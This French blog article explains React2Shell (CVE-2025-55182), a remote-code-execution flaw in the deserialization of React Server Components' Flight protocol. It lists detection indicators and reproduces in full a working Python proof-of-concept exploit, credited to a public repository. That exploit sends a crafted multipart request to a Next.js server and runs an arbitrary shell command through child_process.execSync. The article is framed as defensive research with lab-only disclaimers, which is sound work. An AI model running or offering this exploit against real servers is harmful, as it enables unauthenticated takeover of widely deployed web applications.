React2Shell, CVE-2025-55182, Vulnérabilité RCE : une analyse critique de la faille de désérialisation non sécurisée dans les React Server Components qui permet une exécution de code à distance non authentifiée sur les configurations par défaut de React/Next.js.
React2Shell (CVE-2025-55182) est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les React Server Components (RSC) dans React 19.x et les frameworks comme Next.js. Le défaut réside dans la désérialisation non sécurisée des morceaux du protocole « Flight », permettant aux attaquants d'injecter des structures malveillantes qui se résolvent en constructeur Function, entraînant l'exécution de JavaScript arbitraire sur le serveur.
Les React Server Components ont été introduits pour faire le pont entre le rendu client/serveur avec un workflow plus fluide et composite. Pour ce faire, React utilise un canal de sérialisation personnalisé de type binaire appelé le protocole Flight.
Malheureusement, la logique de désérialisation de ce protocole contenait une faille subtile qui permettait aux attaquants d'introduire des charges utiles malveillantes profondément dans le runtime de React.
Résultat ? Une chaîne d'exécution de code à distance complète et non authentifiée, désormais surnommée React2Shell — et oui, son impact est comparable à Log4Shell en termes d'échelle et d'accessibilité. 🔥
Cet article décompose la vulnérabilité dans un format clair et exploitable — idéal pour les praticiens VAPT, les chercheurs et les défenseurs.
Le RSC communique avec le client en envoyant des « morceaux » sérialisés qui représentent des références, des objets, des métadonnées de composants, des limites asynchrones, etc.
Lorsque ces morceaux arrivent sur le serveur ou le client, React les désérialise en objets et fonctions.
Ce processus suppose que la structure de données est sûre. C'est là que les choses ont cassé.
Les attaquants ont trouvé un moyen de fabriquer des morceaux malveillants contenant :
thenables)Exemple de motif :
"$then": { "constructor": { "prototype": null } }
Pendant la désérialisation, React interprète cet objet comme un thenable et appelle :
promise.then(...)
Mais ici, then est en réalité le constructeur Function, donc l'appel devient :
(new Function("malicious_payload"))();
Cela entraîne une exécution de JavaScript arbitraire dans l'environnement Node.js exécutant les React Server Components.
Boom — vous avez une RCE.
C'est pourquoi les fournisseurs cloud, les équipes de sécurité et les CERTs ont réagi instantanément une fois que cela a été rendu public.
/react/rsc/server, /flight, /server-actions$then$proto$constructor$typeExécutions Node.js suspectes telles que :
node -e "<payload>"
Fichiers inattendus sous :
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ Note importante
Je ne possède pas ce PoC.
Il est référencé depuis le dépôt public suivant, avec tout le crédit à l'auteur :
La preuve de concept (PoC) suivante est fournie strictement à des fins de recherche en cybersécurité éducative et défensive.
Elle doit être exécutée uniquement dans des environnements de laboratoire isolés ou sur des systèmes pour lesquels vous avez une autorisation explicite de tester.
L'utilisation abusive de ce code pour un accès non autorisé, une exploitation ou un compromis de système est illégale, contraire à l'éthique, et punissable en vertu des lois sur la cybersécurité.
Procédez de manière responsable. 🛡️💻
Voici le PoC complet :
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Si vous avez exécuté ce PoC, assurez-vous de l'avoir fait dans un bac à sable contrôlé et non sur des actifs de production ou tiers.
Cette démonstration existe uniquement pour aider les analystes, développeurs et défenseurs à comprendre, détecter et atténuer CVE-2025-55182 (React2Shell).
Toute utilisation malveillante ou non autorisée de ces informations est strictement interdite et n'est pas approuvée par l'auteur.
Restez éthique. Restez sécurisé. 🐉🔥
React2Shell est un puissant rappel que les couches de sérialisation, aussi élégantes soient-elles, restent l'un des composants les plus dangereux des frameworks modernes. Dès que des objets arbitraires touchent le runtime sans validation, la chaîne menant à la RCE devient terriblement courte.
Merci d'avoir lu — et comme toujours, continuez à hacker éthiquement, continuez à apprendre constamment, et gardez ce feu de la sécurité allumé. 🔥🐉
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010